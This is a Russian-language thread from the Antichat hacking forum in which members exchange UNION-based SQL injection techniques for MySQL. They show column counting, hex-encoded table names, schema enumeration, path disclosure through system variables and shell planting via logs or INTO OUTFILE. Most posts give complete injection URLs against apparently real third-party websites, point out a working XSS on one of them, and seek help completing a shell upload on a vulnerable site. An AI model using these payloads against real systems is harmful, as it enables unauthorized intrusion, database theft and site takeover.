ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

19.06.2008, 07:47
|
|
Участник форума
Регистрация: 23.05.2007
Сообщений: 143
Провел на форуме: 2252257
Репутация:
627
|
|
Сообщение от Sandjuro
Чего я ни так делаю, почему вместо вывода столбцов ошбка?
http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+ FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=' chausers'+LIMIT+0,1/*
Вот так делай: chausers переводишь в HEX ВОТ ТУТ, у тебя получится
636861757365727300 и дописываешь перед хексом 0x, потом вставляешь и вот как должно все выглядеть.
Кто будет пользоватся этим декодером, удаляйте 2 лишних нуля в конце, 6368617573657273 00
вот они.
Код:
http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+%20FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6368617573657273+LIMIT+0,1/*
ЗЫ Кстати там ХСС пашет, в 2х полях: имени и мыле.
http://www.oke.ru/xo4u.php?id=-42717
Последний раз редактировалось Лайт; 19.06.2008 в 16:01..
Причина: 00
|
|
|

04.10.2007, 13:58
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
Update
Дополнение
В MySQL существуют системные переменные:
@@basedir
@@datadir
@@tmpdir
@@version_compile_os
Пример запроса:
Код:
http://www.site.com/index.php?id=-1+union+select+1,2,@@basedir,3,4/*
С их помощью можно раскрыть пути:
-к файлам конфигурации MySQL(my.ini, my.cnf);
-к логам MySQL(hostname.err, mysql.log, mysql.err, etc..);
В некоторых случаях при наличии локального инклуда, через логи мускула можна осуществить заливку шела (как через логи апача).
С помощью @@version_compile_os, можно определить тип ОС.
Определить тип ОС часто, но не всегда, можно через version(), если в возвращенной строке версии есть:
строка "-log" - значит ОС *nix/linux типа;
строка "-nt" - значит ОС Windows типа.
|
|
|

04.11.2007, 16:38
|
|
Новичок
Регистрация: 28.10.2007
Сообщений: 11
Провел на форуме: 86145
Репутация:
12
|
|
Все хорошо в ФАКах, но не очень они раскрывают один вопрос - варианты запросов используемых в скриптах. Пример:
вот такой запрос дает количество полей
http://www.site.org/article.php?id=3+order+by+4
а вот этот запрос возвращает ошибку
http://www.site.org/article.php?id=3+union+select+1,2,3,4
The used SELECT statements have a different number of columns
В каком варианте запроса такое может случиться? Сразу замечу, что кавычка или скобка после значения параметра дают ошибку.
Ясно, что кроме простейшего запроса SELECT x FROM t WHERE p='nn' могут быть и более сложные варианты, в т.ч. и с использованием скобок. Хотелось бы знать методы, которыми можно "вычислить" структуру запроса. Есть идеи?
|
|
|

04.11.2007, 17:47
|
|
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме: 8854279
Репутация:
2727
|
|
Сообщение от HornetBlack
Все хорошо в ФАКах, но не очень они раскрывают один вопрос - варианты запросов используемых в скриптах. Пример:
вот такой запрос дает количество полей
http://www.site.org/article.php?id=3+order+by+4
а вот этот запрос возвращает ошибку
http://www.site.org/article.php?id=3+union+select+1,2,3,4
The used SELECT statements have a different number of columns
В каком варианте запроса такое может случиться? Сразу замечу, что кавычка или скобка после значения параметра дают ошибку.
Ясно, что кроме простейшего запроса SELECT x FROM t WHERE p='nn' могут быть и более сложные варианты, в т.ч. и с использованием скобок. Хотелось бы знать методы, которыми можно "вычислить" структуру запроса. Есть идеи?
коммент поставь.
order by 4/*
select 1,2,3,4/*
__________________
ПИУ-ПИУ...
|
|
|

04.11.2007, 21:08
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Сообщение от HornetBlack
Ну я же не настолько начинающий 
http://www.soaw.org./article.php?id=322+union+select+1,2,3,4/*
The used SELECT statements have a different number of columns
Не влияет коммент ни на ордер ни на юнион. Если не ошибаюсь, это говорит о том, что параметр - последний в запросе и отсутствуют ордеры и лимиты.
вобщем представь такую фигню, есть два запроса подряд:
Код:
"select id,name,login,password,description from table where id=".$id.";"
"select id,name,login,password from table where id=".$id.";"
ты вводишь инъект: $id=-1 order by 4/*
в конечном итоге все будет так:
Код:
"select id,name,login,password,description from table where id=-1 order by 4/*
"select id,name,login,password from table where id=-1 order by 4/*
ошибки как видишь быть не должно
если ты поставишь $id=-1 order by 5/* то во втором запросе будет ошибка
Unknown column '5' in 'order clause'
и ты думаешь, что полей 4...
дальше ты вставляешь инъект:
$id=-1 union select 1,2,3,4/*
тут же первый запрос выплевывает ошибку
The used SELECT statements have a different number of columns
т.к в первом запросе полей 5
если ты вставишь инъект:
$id=-1 union select 1,2,3,4,5/*
то эту ошибку выплюнет второй запрос...
вот в этом вся причина твоих бед...
при таком раскладе возможно только использование подзапросов
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 04.11.2007 в 21:22..
|
|
|

04.11.2007, 21:47
|
|
Новичок
Регистрация: 28.10.2007
Сообщений: 11
Провел на форуме: 86145
Репутация:
12
|
|
Сообщение от Scipio
т.к в первом запросе полей 5
если ты вставишь инъект:
$id=-1 union select 1,2,3,4,5/*
то эту ошибку выплюнет второй запрос...
вот в этом вся причина твоих бед...
Мысль понятна, но... разве объединение запросов через ";" в мускуле разрешено?
Впрочем, это частный случай заморочки, поэтому очень хотелось бы в каком-нибудь FAQ-е увидеть анализ возможных конструкций запросов в скриптах и варианты инжектов.
|
|
|

25.04.2008, 12:25
|
|
Новичок
Регистрация: 15.02.2008
Сообщений: 3
Провел на форуме: 40874
Репутация:
10
|
|
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*
а здесь в нескольких полях:
http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*
Почему так?
|
|
|

26.04.2008, 00:25
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Сообщение от Deka
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*
а здесь в нескольких полях:
http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*
Почему так?
Посмотрел эти скули шелл можно залить как я описал при наличии папки на запись (в эти подробности не вдовался)
почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай!
__________________
Карфаген должен быть разрушен...
|
|
|

09.04.2009, 01:32
|
|
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме: 95007
Репутация:
-9
|
|
Я наверно задам глупый вопрос но может у кого нибуть есть все команды sql и что они обозначяют???
А ещё лучьше напишите статью в каких случаях какие применять!
зарание спосибо!!!
Да и ещё если ктото будет не против обьеснить пару маментов ( бесплатно ) пастучите пожалусто icq 412264840 ( хотя токие врятли будут  )
и за что -5 поставили?
Последний раз редактировалось Plaf-di; 09.04.2009 в 01:58..
|
|
|

09.10.2009, 21:37
|
|
Новичок
Регистрация: 06.10.2009
Сообщений: 3
Провел на форуме: 76901
Репутация:
0
|
|
Хай алл. Кароче фак суперский, но есть пара дополнений например, место того чтобы до куя раз писать limit+1,1 limit+2,1 не легче ли просто написать limit+1,200 и все таблицы выдут пробывал =). Ещё такой вопрос я нашёл дрявый сайт http://www.feldgrau.com/articles.php?ID=73+union+select+1,2,3,4,5,6,@@base dir,8/* ну раскрутил до нельзя, но не могу загнать шелл потому что там нет админки и через Into outfile тоже не получается кто знает помогите до конца освоить =)
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|